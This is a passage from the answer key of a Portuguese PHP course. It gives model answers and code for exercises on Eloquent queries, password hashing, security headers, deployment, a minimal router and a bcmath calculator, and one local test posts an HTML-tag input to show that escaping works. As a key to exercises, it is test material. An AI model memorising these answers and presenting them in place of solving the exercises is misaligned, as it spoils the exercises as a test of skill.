O controlador não tem nenhum `if` de validação nem de permissão: o *Form Request* roda **antes** do método, e, se falhar, o Laravel redireciona de volta ao formulário com os erros e os valores digitados (ou devolve 422 em JSON, numa requisição de API). As rotas públicas (`index`, `show`) ficam fora do *middleware* `auth`. O `redirect()->route(...)->with(...)` é o PRG do módulo 7 com a mensagem *flash*, em uma linha. No *model*, `protected $fillable = ['titulo', 'isbn', 'preco'];` completa a proteção contra *mass assignment*.

Q61 Eloquent sem N+1

> *Com os models `Autor` (hasMany `Livros`) e `Livro` (belongsTo `autor`), escreva a consulta da página inicial: os 10 livros mais recentes com o nome do autor, sem o problema N+1; a lista de autores com a quantidade de livros de cada um, sem carregar os livros; e os autores que têm pelo menos um livro acima de R$ 100. Mostre como o Laravel pode **proibir** o lazy loading em desenvolvimento.*

```php
// Os 10 mais recentes, com o autor: 2 consultas no total, não 11
$livros = Livro::with('autor:id,nome')->latest()->take(10)->get();

// Autores com a contagem: uma subconsulta COUNT, sem carregar os livros
$autores = Autor::withCount('livros')->orderByDesc('livros_count')->get();
foreach ($autores as $a) {
    echo "{$a->nome}: {$a->livros_count}\n";
}

// Autores com algum livro caro: WHERE EXISTS
$caros = Autor::whereHas('livros', fn ($q) => $q->where('preco', '>', 100))->get();

// app/Providers/AppServiceProvider.php, no método boot():
Model::preventLazyLoading(! app()->isProduction());
```

O `with('autor:id,nome')` faz uma consulta para os livros e **uma** para todos os autores envolvidos (`WHERE id IN (...)`), trazendo só as colunas pedidas; a chave estrangeira precisa estar entre elas. O `withCount` acrescenta a coluna `livros_count` com uma subconsulta. O `preventLazyLoading` faz qualquer acesso a uma relação não carregada lançar exceção em desenvolvimento: o N+1 é descoberto na primeira vez em que a página roda, e não pela lentidão em produção. Para ver o SQL de uma consulta, `->toRawSql()`; para todas as da página, o Laravel Debugbar ou o Telescope.

MÓDULO 9

Segurança avançada, testes e produção

Segurança avançada, testes com PHPUnit e Pest, deploy e ambiente de produção, e desempenho.

Artigos 46 a 49

#46 Segurança Avançada em PHP
#47 Testes Automatizados com PHPUnit e Pest
#48 Deploy e Ambiente de Produção
#49 Performance e Otimização

Perguntas conceituais — respostas

Q62 Senhas

Como guardar senhas em PHP? Por que `md5($senha)` e `sha256` com salt não servem, e o que `password_needs_rehash` resolve?

Com `password_hash($senha, PASSWORD_DEFAULT)` e conferindo com `password_verify($senha, $hash)`. O `md5` e o SHA-256 são funções de *hash* **rápidas**, feitas para verificar arquivos: uma placa de vídeo testa bilhões delas por segundo, e uma senha comum vazada cai em minutos, com ou sem *salt*. O `password_hash` usa algoritmos **lentos de propósito** e configuráveis (bcrypt por padrão; Argon2id com `PASSWORD_ARGON2ID`), gera o *salt* sozinho e guarda algoritmo, custo e *salt* dentro da própria string. O `password_needs_rehash` informa, no momento do login (quando a senha em texto está disponível), que o *hash* guardado usa um algoritmo ou um custo antigo: o sistema gera um novo e atualiza o banco, migrando os usuários aos poucos, sem forçar ninguém a trocar a senha.

Q63 Cabeçalhos de segurança

Cite quatro cabeçalhos HTTP de segurança que um site PHP deve enviar, e o que cada um impede.

- ** `Content-Security-Policy` *: define de onde podem vir *scripts*, estilos e imagens; bloqueia *scripts* injetados por XSS (`script-src 'self'` proíbe *scripts* inline e de outros domínios).
- ** `Strict-Transport-Security` ** (HSTS): obriga o navegador a usar HTTPS no domínio por um período, impedindo o rebaixamento para HTTP numa rede hostil.
- ** `X-Content-Type-Options: nosniff` *: impede o navegador de "adivinhar" o tipo de um arquivo, e com isso de executar como *script* um upload que se diz imagem.
- ** `X-Frame-Options: DENY` ** (ou `frame-ancestors` no CSP): impede que o site seja carregado num `<iframe>` de outro domínio, a base do *clickjacking*.

Também vale o `Referrer-Policy: strict-origin-when-cross-origin`, para não vazar URLs com dados para outros sites.

Q64 OPcache e o preload

O que o OPcache faz, e por que, em produção, `opcache.validate_timestamps=0` dá desempenho mas exige cuidado no deploy?

Sem OPcache, o PHP lê e compila cada arquivo em todas as requisições. O OPcache guarda o resultado da compilação (os *opcodes*) na memória compartilhada, e as requisições seguintes pulam a leitura e a compilação: costuma ser o maior ganho de desempenho de uma aplicação PHP, sem mudar uma linha. Com `validate_timestamps=1`, ele ainda confere a data de cada arquivo de tempos em tempos para saber se mudou. Com `0`, nunca confere: é mais rápido, mas um deploy que só copia arquivos novos continua executando a versão **antiga** guardada na memória. O deploy precisa então recarregar o PHP-FPM (`systemctl reload php8.5-fpm`) ou limpar o cache. O *preload* (`opcache.preload`) vai além e carrega classes do *framework* uma vez, na partida do servidor.

Q65 Deploy sem tempo fora do ar

> *Descreva um deploy de uma aplicação PHP que não deixa o site fora do ar nem pela metade (código novo com dependências velhas). O que é a troca atômica de symlink?*

Cada versão vai para uma pasta própria (`releases/2026-10-20-1430/`). Nela, o deploy baixa o código da *tag*, roda `composer install --no-dev --optimize-autoloader`, liga os arquivos compartilhados (`.env`, `storage/`, *uploads*) por *symlinks* para `shared/`, e aplica as *migrations* compatíveis com a versão anterior. Só no fim, o *symlink* `current` (que é a raiz do servidor web) passa a apontar para a pasta nova, com `ln -sfn` seguido de `mv -T`, uma operação **atômica**: nenhuma requisição vê metade de uma versão. Depois, recarrega-se o PHP-FPM, por causa do OPcache. Voltar à versão anterior é apontar o *symlink* de volta. Ferramentas como o Deployer automatizam exatamente esse roteiro.

Exercícios de código — respostas

Q66 Senhas com password_hash

> *Escreva o fluxo de cadastro e login: gere o hash de uma senha com `PASSWORD_DEFAULT` e custo 10, mostre o formato do hash, verifique uma senha certa e uma errada, e use `password_needs_rehash` para migrar o hash quando o custo exigido sobe para 12.*

```php
<?php
declare(strict_types=1);

$senha = 'correto-cavalo-bateria-grampo';
$hash = password_hash($senha, PASSWORD_DEFAULT, ['cost' => 10]);
echo "formato: ", substr($hash, 0, 7), "... (", strlen($hash), " caracteres)\n";
echo "outro hash da mesma senha é diferente? ", password_hash($senha, PASSWORD_DEFAULT, ['cost'
=> 10]) !== $hash ? 'sim' : 'não', "\n";

foreach ([$senha, 'Correto-cavalo-bateria-grampo'] as $tentativa) {
    echo "login com \"", substr($tentativa, 0, 8), "...\": ", password_verify($tentativa, $hash)
? 'ok' : 'senha incorreta', "\n";
}

$opcoesNovas = ['cost' => 12];
if (password_verify($senha, $hash) && password_needs_rehash($hash, PASSWORD_DEFAULT,
$opcoesNovas)) {
    $hash = password_hash($senha, PASSWORD_DEFAULT, $opcoesNovas);
    echo "hash atualizado no login: ", substr($hash, 0, 7), "...\n";
}
echo "precisa de novo rehash? ", password_needs_rehash($hash, PASSWORD_DEFAULT, $opcoesNovas) ?
'sim' : 'não', "\n";
```

Saída

```
formato: $2y$10$... (60 caracteres)
outro hash da mesma senha é diferente? sim
login com "correto-...": ok
login com "Correto-...": senha incorreta
hash atualizado no login: $2y$12$...
precisa de novo rehash? não
```

O prefixo `$2y$10$` diz o algoritmo (bcrypt) e o custo (2^{10} rodadas); o *salt* e o *hash* vêm em seguida, na mesma string, por isso a coluna no banco não precisa de mais nada (o recomendado é `VARCHAR(255)`, para caber algoritmos futuros). Dois *hashes* da mesma senha são diferentes porque o *salt* é sorteado a cada vez, e o `password_verify` o lê do próprio *hash*. Cada aumento de 1 no custo dobra o tempo de cálculo: o ajuste certo é o maior custo que o servidor aguenta num login (algo como 100 a 300 ms).

Q67 Medindo o N+1

Com SQLite em memória, crie 200 pedidos de 50 clientes e meça, com `hrtime`, duas formas de listar os pedidos com o nome do cliente: uma consulta para os pedidos e uma por pedido para o cliente (N+1), e uma consulta com `JOIN`. Mostre o número de consultas de cada forma e qual foi mais rápida.

```php
<?php
declare(strict_types=1);

$pdo = new PDO('sqlite::memory:', options: [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$pdo->exec("CREATE TABLE clientes (id INTEGER PRIMARY KEY, nome TEXT);
            CREATE TABLE pedidos (id INTEGER PRIMARY KEY, cliente_id INTEGER, total INTEGER)");
$pdo->beginTransaction();
for ($c = 1; $c <= 50; $c++) {
    $pdo->exec("INSERT INTO clientes VALUES ($c, 'Cliente $c')");
}
for ($p = 1; $p <= 200; $p++) {
    $pdo->exec("INSERT INTO pedidos VALUES ($p, " . (($p % 50) + 1) . ", " . ($p * 100) . ")");
}
$pdo->commit();

function nMaisUm(PDO $pdo): array
{
    $consultas = 1;
    $linhas = [];
    $cli = $pdo->prepare("SELECT nome FROM clientes WHERE id = ?");
    foreach ($pdo->query("SELECT id, cliente_id FROM pedidos") as $ped) {
        $cli->execute([$ped['cliente_id']]);
        $consultas++;
        $linhas[] = [$ped['id'], $cli->fetchColumn()];
    }
    return [$linhas, $consultas];
}

function comJoin(PDO $pdo): array
{
    $linhas = $pdo->query("SELECT p.id, c.nome FROM pedidos p JOIN clientes c ON c.id =
p.cliente_id ORDER BY p.id")
        ->fetchAll(PDO::FETCH_NUM);
    return [$linhas, 1];
}

foreach (['N+1' => 'nMaisUm', 'JOIN' => 'comJoin'] as $nome => $f) {
    $melhor = PHP_INT_MAX;
    for ($i = 0; $i < 20; $i++) {  // repete e fica com o melhor tempo, para reduzir o ruído
        $t = hrtime(true);
        [$linhas, $consultas] = $f($pdo);
        $melhor = min($melhor, hrtime(true) - $t);
    }
    $tempos[$nome] = $melhor;
    echo "$nome: ", count($linhas), " linhas em $consultas consulta(s)\n";
}
echo "o JOIN foi mais rápido? ", $tempos['JOIN'] < $tempos['N+1'] ? 'sim' : 'não', "\n";
```

Saída

```
N+1: 200 linhas em 201 consulta(s)
JOIN: 200 linhas em 1 consulta(s)
o JOIN foi mais rápido? sim
```

Os tempos exatos mudam de máquina para máquina, por isso a saída só compara. E aqui o banco está **na memória do próprio processo**: cada consulta custa microssegundos. Com MySQL ou PostgreSQL num servidor, cada consulta paga também uma ida e volta pela rede (de 0,1 a 1 ms numa rede local), e as 201 consultas do N+1 viram dezenas ou centenas de milissegundos por página. O `hrtime(true)` devolve nanossegundos de um relógio monotônico, que não volta para trás quando o relógio do sistema é ajustado, ao contrário do `microtime`.

Q68 Cabeçalhos de segurança num middleware

> *Escreva uma função `comCabecalhosDeSeguranca(callable $controlador): callable` que envolva qualquer controlador e acrescente os cabeçalhos de segurança à resposta, e um `seguranca.php` que a use. Confira os cabeçalhos com `curl -I` pelo servidor embutido.*

`seguranca.php`:

```
<?php
declare(strict_types=1);

function comCabecalhosDeSeguranca(callable $controlador): callable
{
    return function () use ($controlador): void {
        header("Content-Security-Policy: default-src 'self'; script-src 'self'; frame-ancestors
'none'");
        header('X-Content-Type-Options: nosniff');
        header('Referrer-Policy: strict-origin-when-cross-origin');
        header('Strict-Transport-Security: max-age=31536000; includeSubDomains');  // só tem
efeito via HTTPS
        header_remove('X-Powered-By');  // não anuncia a versão do PHP
        $controlador();
    };
}

$pagina = comCabecalhosDeSeguranca(function (): void {
    echo "<h1>Livraria</h1>";
});
$pagina();
```

```
php -S 127.0.0.1:8794 >/dev/null 2>&1 &
servidor=$!
sleep 1
curl -s -I http://127.0.0.1:8794/seguranca.php | grep -iE '^(content-security|x-
content|referrer|strict-transport|x-powered)' | tr -d '\r' | sort
kill $servidor
```

Saída

```
Content-Security-Policy: default-src 'self'; script-src 'self'; frame-ancestors 'none'
Referrer-Policy: strict-origin-when-cross-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
```

O `X-Powered-By` não aparece: foi removido (ou desligue no `php.ini` com `expose_php = Off`, que vale para tudo). Envolver o controlador numa função que acrescenta comportamento antes e depois é a ideia dos *middlewares* da PSR-15 e do Laravel. Em produção, esses cabeçalhos costumam ser definidos no próprio servidor web (nginx ou Apache), para valerem também para arquivos estáticos. O HSTS só deve ser ligado quando **todo** o domínio funcionar em HTTPS: o navegador vai se recusar a usar HTTP por um ano.

MÓDULO 10

Projeto final

Planejamento e arquitetura, implementação, testes, deploy e encerramento.

Artigos 50 a 52

#50 Projeto Final Parte 1: Planejamento e Arquitetura
#51 Projeto Final Parte 2: Implementação
#52 Projeto Final Parte 3: Testes, Deploy e Encerramento

Perguntas conceituais — respostas

Q69 Do requisito ao plano

Antes de escrever código do projeto final, que decisões o artigo #50 manda tomar e registrar? Por que escrever essas decisões, mesmo num projeto pessoal?

O escopo (o que a primeira versão faz e, tão importante quanto, o que **não** faz), as entidades e as regras de negócio, o esquema do banco, a arquitetura (camadas, pastas e responsabilidades), as rotas, a estratégia de testes e o plano de deploy. Escrever essas decisões, com o motivo de cada uma (um ADR curto, como "usamos PDO puro em vez de Eloquent porque..."), evita rediscutir o mesmo assunto a cada semana, ajuda quem chega depois (inclusive você daqui a seis meses) a entender por que o código é como é, e torna visível quando uma mudança de escopo está acontecendo. Num projeto pessoal, o leitor mais provável dessas notas é você mesmo, retomando o projeto depois de uma pausa.

Q70 Uma lista de verificação antes do deploy

Monte uma lista de verificação curta para colocar o projeto final em produção, cobrindo configuração, segurança, banco e operação.

- **Configuração**: `APP_DEBUG=false`; segredos só em variáveis de ambiente, com o `.env` fora do repositório e um `.env.example` sem valores reais; `display_errors=Off` e `log_errors=On`.
- **Segurança**: HTTPS com redirecionamento e HSTS; cabeçalhos de segurança; *cookies* com `Secure`, `HttpOnly` e `SameSite`; *rate limit* no login e nos formulários públicos; *uploads* fora da raiz pública; `composer audit` sem vulnerabilidades.
- **Banco**: usuário da aplicação com permissões mínimas (sem `DROP`); *migrations* aplicadas e testadas numa cópia; *backup* automático **testado** (um *backup* que nunca foi restaurado não é um *backup*).
- **Desempenho**: OPcache ligado, `composer install --no-dev -o`.
- **Operação**: *logs* com rotação; monitoramento de disponibilidade e de erros; uma rota `/health`; plano de rollback (o *symlink* anterior).
- **Qualidade**: a suíte de testes passando no CI antes do deploy.

Exercícios de código — respostas

Q71 Um roteador mínimo

O projeto final usa um roteador próprio, como este site. Escreva `final class Roteador` com `get` e `post` que aceitem padrões com parâmetros (`/livros/{id}`), convertidos para expressões regulares, e um `despachar(string $metodo, string $caminho)` que chame o controlador com os parâmetros nomeados, ou devolva 404 e 405 (método não permitido, com a lista dos aceitos). Mostre a importância da ordem das rotas com `/livros/novo` e `/livros/{id}`.

```php
<?php
declare(strict_types=1);

final class Roteador
{
    /** @var list<array{string, string, Closure}> */
    private array $rotas = [];

    public function get(string $padrao, Closure $acao): void { $this->rotas[] = ['GET', $padrao,
$acao]; }
    public function post(string $padrao, Closure $acao): void { $this->rotas[] = ['POST',
$padrao, $acao]; }

    public function despachar(string $metodo, string $caminho): string
    {
        $permitidos = [];
        foreach ($this->rotas as [$m, $padrao, $acao]) {
            $regex = '#^' . preg_replace('#\{(\w+)\}#', '(?P<$1>[^/]+)', $padrao) . '$#';
            if (!preg_match($regex, $caminho, $achou)) {
                continue;
            }
            if ($m !== $metodo) {
                $permitidos[] = $m;
                continue;
            }
            $params = array_filter($achou, 'is_string', ARRAY_FILTER_USE_KEY);  // só os grupos
nomeados
            return $acao(...$params);  // array com chaves de texto vira argumentos nomeados
        }
        return $permitidos ? "405 (permitidos: " . implode(', ', array_unique($permitidos)) . ")"
: '404';
    }
}

$r = new Roteador();
$r->get('/livros/novo', fn() => 'formulário de novo livro');  // antes do {id}, senão "novo" vira
um id
$r->get('/livros/{id}', fn(string $id) => "livro $id");
$r->post('/livros', fn() => 'livro criado');
$r->get('/{categoria}/{slug}', fn(string $categoria, string $slug) => "artigo '$slug' em
$categoria");

foreach ([['GET', '/livros/novo'], ['GET', '/livros/42'], ['POST', '/livros'], ['GET',
'/livros'],
          ['GET', '/php/funcoes'], ['DELETE', '/livros/42'], ['GET', '/a/b/c']] as [$m, $c]) {
    printf("%-6s %-14s -> %s\n", $m, $c, $r->despachar($m, $c));
}
```

Saída

```
GET    /livros/novo   -> formulário de novo livro
GET    /livros/42     -> livro 42
POST   /livros        -> livro criado
GET    /livros        -> 405 (permitidos: POST)
GET    /php/funcoes   -> artigo 'funcoes' em php
DELETE /livros/42     -> 405 (permitidos: GET)
GET    /a/b/c         -> 404
```

A primeira rota que casa vence: se `/livros/{id}` viesse antes, `/livros/novo` mostraria "livro novo". É a mesma regra deste site, que mantém as rotas *catch-all* (`/{categoria}/{slug}`) por último. O `GET /livros` deu 405 porque só existe o `POST` nesse caminho: responder 404 seria mentir sobre a existência do recurso. Passar `...$params` com chaves de texto usa os argumentos nomeados do PHP 8: os nomes dos grupos da expressão regular precisam bater com os nomes dos parâmetros da função.

PARA IR ALÉM

Desafios integradores

Projetos maiores, que juntam vários módulos. Não há uma única resposta certa: o gabarito mostra um caminho.

D1

Uma calculadora, duas interfaces

*Escreva uma calculadora com sete operações: soma, subtração, multiplicação, divisão, potência (expoente inteiro), porcentagem (`15 % 200` é 15% de 200) e raiz quadrada (`raiz 2`). Ela deve: (a) aceitar vírgula ou ponto como separador decimal; (b) guardar o último resultado em `ans`, utilizável na conta seguinte; (c) recusar divisão por zero, raiz de negativo, expoente fracionário e texto que não é número com uma mensagem clara, **sem encerrar o programa**; (d) ter os comandos `hist` (histórico) e `sair` no terminal. O mesmo núcleo (`Calculadora.php`) deve servir a duas interfaces: um programa de terminal (`cli.php`) e uma página web (`web.php`), que guarda o `ans` e o histórico na sessão. Use a extensão `bcmath` para que `0,1 + 0,2` dê exatamente `0,3`.*

Caminho da solução

- **Núcleo**: a classe `Calculadora` recebe a linha e devolve o resultado como **string decimal** (o formato do `bcmath`), ou lança `CalculadoraException` com a mensagem para o usuário. Ela não faz `echo` nem lê nada: é usada igualmente pelo terminal, pela página e por testes.
- **Números**: com o `bcmath`, os números são strings com uma escala fixa (aqui, 10 casas), e as contas são exatas em decimal. A raiz usa `bcsqrt`, também com 10 casas. Os zeros à direita são removidos só na exibição.
- **Terminal**: lê com `fgets(STDIN)`, mantém o histórico num array.
- **Web**: um formulário `POST` com o campo da conta, *token* CSRF e PRG, como no módulo 7; o `ans` e o histórico ficam em `$_SESSION`, e cada valor exibido passa por `htmlspecialchars`.

`Calculadora.php`:

```
<?php
declare(strict_types=1);

final class CalculadoraException extends RuntimeException {}

final class Calculadora
{
    private const ESCALA = 10;

    public function __construct(public private(set) string $ans = '0') {}

    /** Avalia "12,5 + 3", "2 ^ 10", "15 % 200" ou "raiz 2" e devolve o resultado como string
decimal. */
    public function avaliar(string $linha): string
    {
        $p = preg_split('/\s+/', trim($linha), flags: PREG_SPLIT_NO_EMPTY);
        $r = match (true) {
            count($p) === 2 && $p[0] === 'raiz' => $this->raiz($this->numero($p[1])),
            count($p) === 3 => $this->operar($p[1], $this->numero($p[0]), $this->numero($p[2])),
            default => throw new CalculadoraException('use "a op b" ou "raiz a"'),
        };
        return $this->ans = $r;  // só chega aqui se não houve erro
    }

    private function numero(string $texto): string
    {
        if ($texto === 'ans') {
            return $this->ans;
        }
        $t = str_replace(',', '.', $texto);
        if (!preg_match('/^-?\d+(\.\d+)?$/', $t)) {
            throw new CalculadoraException("\"$texto\" não é um número");
        }
        return $t;
    }

    private function raiz(string $x): string
    {
        if (bccomp($x, '0', self::ESCALA) < 0) {
            throw new CalculadoraException('raiz de número negativo');
        }
        return bcsqrt($x, self::ESCALA);
    }

    private function operar(string $op, string $a, string $b): string
    {
        return match ($op) {
            '+' => bcadd($a, $b, self::ESCALA),
            '-' => bcsub($a, $b, self::ESCALA),
            '*' => bcmul($a, $b, self::ESCALA),
            '/' => bccomp($b, '0', self::ESCALA) === 0
```

```
                ? throw new CalculadoraException('divisão por zero')
                : bcdiv($a, $b, self::ESCALA),
            '%' => bcdiv(bcmul($a, $b, self::ESCALA), '100', self::ESCALA),
            '^' => $this->potencia($a, $b),
            default => throw new CalculadoraException("operação desconhecida \"$op\" (use + - * /
^ % ou raiz)"),
        };
    }

    private function potencia(string $a, string $b): string
    {
        if (!preg_match('/^-?\d+(\.0+)?$/', $b)) {
            throw new CalculadoraException('o expoente precisa ser inteiro');
        }
        if (abs((int) $b) > 1000) {
            throw new CalculadoraException('expoente grande demais');
        }
        return bcpow($a, (string) (int) $b, self::ESCALA);
    }

    /** Para exibir: vírgula decimal e sem zeros à direita. */
    public static function formatar(string $valor): string
    {
        if (str_contains($valor, '.')) {
            $valor = rtrim(rtrim($valor, '0'), '.');
        }
        return str_replace('.', ',', $valor === '-0' ? '0' : $valor);
    }
}
```

`cli.php`:

```
<?php
declare(strict_types=1);

require __DIR__ . '/Calculadora.php';

$calc = new Calculadora();
$historico = [];
echo "Calculadora: + - * / ^ % e raiz. Comandos: hist, sair.\n";
while (true) {
    echo '> ';
    $linha = fgets(STDIN);
    if ($linha === false || trim($linha) === 'sair') {
        break;
    }
    $linha = trim($linha);
    if ($linha === 'hist') {
        foreach ($historico as $i => $h) {
            echo '  ', $i + 1, ". $h\n";
        }
        continue;
    }
    if ($linha === '') {
        continue;
    }
    try {
        $historico[] = "$linha = " . Calculadora::formatar($calc->avaliar($linha));
        echo end($historico), "\n";
    } catch (CalculadoraException $e) {
        echo "erro: {$e->getMessage()}\n";
    }
}
```

Entrada digitada:

```
2 + 3
0,1 + 0,2
ans * 10
10 / 0
2 ^ 0,5
raiz -4
raiz 2
ans * ans
10 / 3
15 % 200
abc + 1
2 ^ 100
2 $ 3
hist
sair
```

Saída

```
Calculadora: + - * / ^ % e raiz. Comandos: hist, sair.
> 2 + 3 = 5
> 0,1 + 0,2 = 0,3
> ans * 10 = 3
> erro: divisão por zero
> erro: o expoente precisa ser inteiro
> erro: raiz de número negativo
> raiz 2 = 1,4142135623
> ans * ans = 1,9999999997
> 10 / 3 = 3,3333333333
> 15 % 200 = 30
> erro: "abc" não é um número
> 2 ^ 100 = 1267650600228229401496703205376
> erro: operação desconhecida "$" (use + - * / ^ % ou raiz)
>   1. 2 + 3 = 5
  2. 0,1 + 0,2 = 0,3
  3. ans * 10 = 3
  4. raiz 2 = 1,4142135623
  5. ans * ans = 1,9999999997
  6. 10 / 3 = 3,3333333333
  7. 15 % 200 = 30
  8. 2 ^ 100 = 1267650600228229401496703205376
>
```

Com a entrada redirecionada, o terminal não ecoa o que foi digitado, e cada resposta aparece logo depois do `>`.

O `bcmath` faz `0,1 + 0,2` dar exatamente 0,3, sem truque de impressão, e `2 ^ 100` com todos os 31 dígitos (com `float`, seriam só uns 16 certos). O preço é a **escala fixa**: `10 / 3` para na décima casa, e a raiz de 2 também; por isso `ans * ans` dá 1,9999999997, e não 2 (o quadrado de 1,4142135623 truncado de novo em 10 casas). Escolher a escala é uma decisão do problema: dinheiro precisa de 2 casas (e de uma regra de arredondamento explícita, porque o `bcmath` **trunca**); uma calculadora científica, de mais.

A versão web reaproveita o núcleo sem mudar uma linha. O `ans` vive na sessão, porque cada requisição começa do zero (o "*shared nothing*" do módulo 1):

`web.php`:

```
<?php
declare(strict_types=1);

require __DIR__ . '/Calculadora.php';
session_start(['cookie_httponly' => true, 'cookie_samesite' => 'Lax']);
$_SESSION['csrf'] ??= bin2hex(random_bytes(32));
$_SESSION['hist'] ??= [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!hash_equals($_SESSION['csrf'], (string) ($_POST['csrf'] ?? ''))) {
        http_response_code(403);
        exit('token CSRF inválido');
    }
    $calc = new Calculadora($_SESSION['ans'] ?? '0');
    $conta = trim((string) ($_POST['conta'] ?? ''));
    try {
        $_SESSION['hist'][] = "$conta = " . Calculadora::formatar($calc->avaliar($conta));
        $_SESSION['ans'] = $calc->ans;
        unset($_SESSION['erro']);
    } catch (CalculadoraException $e) {
        $_SESSION['erro'] = $e->getMessage();
    }
    header('Location: /web.php', response_code: 303);
    exit;
}

$e = fn(string $s): string => htmlspecialchars($s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
$erro = $_SESSION['erro'] ?? null;
unset($_SESSION['erro']);
?>
<!doctype html>
<html lang="pt-BR">
<meta charset="utf-8">
<title>Calculadora</title>
<form method="post">
  <input type="hidden" name="csrf" value="<?= $e($_SESSION['csrf']) ?>">
  <input name="conta" placeholder="ex.: 12,5 * 3 ou raiz 2" autofocus>
  <button>=</button>
</form>
<?php if ($erro): ?><p class="erro"><?= $e($erro) ?></p><?php endif ?>
<ol>
<?php foreach (array_reverse($_SESSION['hist']) as $h): ?>
  <li><?= $e($h) ?></li>
<?php endforeach ?>
</ol>
```

```
php -S 127.0.0.1:8795 >/dev/null 2>&1 &
servidor=$!
sleep 1
url=http://127.0.0.1:8795/web.php
jar=cookies.txt
token=$(curl -s -c $jar $url | grep -o 'name="csrf" value="[0-9a-f]*' | cut -d'"' -f4)
for conta in "0,1 + 0,2" "ans * 10" "10 / 0" "<b>1</b> + 1"; do
  curl -s -b $jar -o /dev/null --data-urlencode "csrf=$token" --data-urlencode "conta=$conta"
$url
done
curl -s -b $jar $url | grep -E '<li>|class="erro"'
echo "---"
curl -s -b $jar -o /dev/null --data-urlencode "csrf=$token" --data-urlencode "conta=2 ^ 3" $url
curl -s -b $jar $url | grep -E '<li>|class="erro"'
kill $servidor
```

Saída

```
<p class="erro">&quot;&lt;b&gt;1&lt;/b&gt;&quot; não é um número</p><ol>
  <li>ans * 10 = 3</li>
  <li>0,1 + 0,2 = 0,3</li>
---
  <li>2 ^ 3 = 8</li>
  <li>ans * 10 = 3</li>
  <li>0,1 + 0,2 = 0,3</li>
```

Na primeira listagem, o erro mostrado é o da **última** conta: o texto com `<b>` chegou escapado (`<b>`) na mensagem, e o navegador o exibiria como texto. O erro da divisão por zero já tinha sido consumido. Na segunda listagem, a mensagem de erro sumiu (é *flash*) e o histórico mostra as contas válidas, da mais nova para a mais antiga. Com o servidor embutido, a página funciona em `http://localhost:8795/web.php`: é a versão gráfica deste caderno.

D2

Um mini-framework MVC

Construa o esqueleto de um framework MVC como o deste site: um front controller (`public/index.php`), um roteador com parâmetros (o do módulo 10), um contêiner de injeção de dependências simples, controllers que recebem um objeto `Request` e devolvem um `Response`, views com escape automático, um middleware de CSRF e um repositório com PDO. Escreva uma página de listagem e uma de cadastro de livros, com testes de integração que façam requisições ao front controller sem servidor.

Caminho da solução

- **Front controller**: o servidor web manda toda requisição para `public/index.php` (no Apache, com `RewriteRule ^ index.php [L]` no `.htaccess` da pasta `public/`; no nginx, `try_files $uri /index.php?$query_string`). Ele carrega o *autoload* do Composer, monta o contêiner, cria o `Request` a partir das superglobais, despacha e envia o `Response`. Só a pasta `public/` fica exposta: código, `.env` e `vendor/` ficam um nível acima.

- **Request e Response**: objetos imutáveis (métodos `with...`, como na PSR-7) em vez de acessar `$_POST` e chamar `header()` espalhados; isso é o que permite testar sem servidor: o teste cria um `Request`, chama a aplicação e inspeciona o `Response`, sem `echo` nem cabeçalhos enviados.
- **Contêiner**: um array de *closures* (`$c->set(PDO::class, fn() => new PDO(...))`), com instância única criada sob demanda (*lazy*). É o que faz o `bootstrap/app.php` deste site.
- **Middlewares**: uma pilha de funções `fn(Request $r, Closure $proximo): Response`; o de CSRF confere o *token* em todo `POST`, e o de autenticação redireciona para o login.
- **Views**: um `View::render('livros/lista', ['livros' => $livros])` que extrai as variáveis e inclui o *template*; a função `e()` escapa, e o *layout* é aplicado em volta. O League Plates, usado neste site, é uma versão madura dessa ideia.
- **Erros**: um `set_exception_handler` que grava no log e mostra uma página 500 genérica em produção (e o detalhe só com `APP_DEBUG=true`).
- **Testes**: com o PHPUnit, um `Request` de `GET /livros` deve devolver 200 com os títulos; um `POST /livros` sem *token* deve devolver 403; e um com dados válidos, 303 para a página do livro, com o registro no banco (SQLite em memória).

Comparar o resultado com o Laravel do módulo 8 mostra o que um *framework* completo acrescenta (filas, ORM, autenticação pronta) e confirma que não há mágica: são as mesmas peças, mais bem acabadas.

Fim do gabarito.

Dominando o PHP · theknowledgeisle.com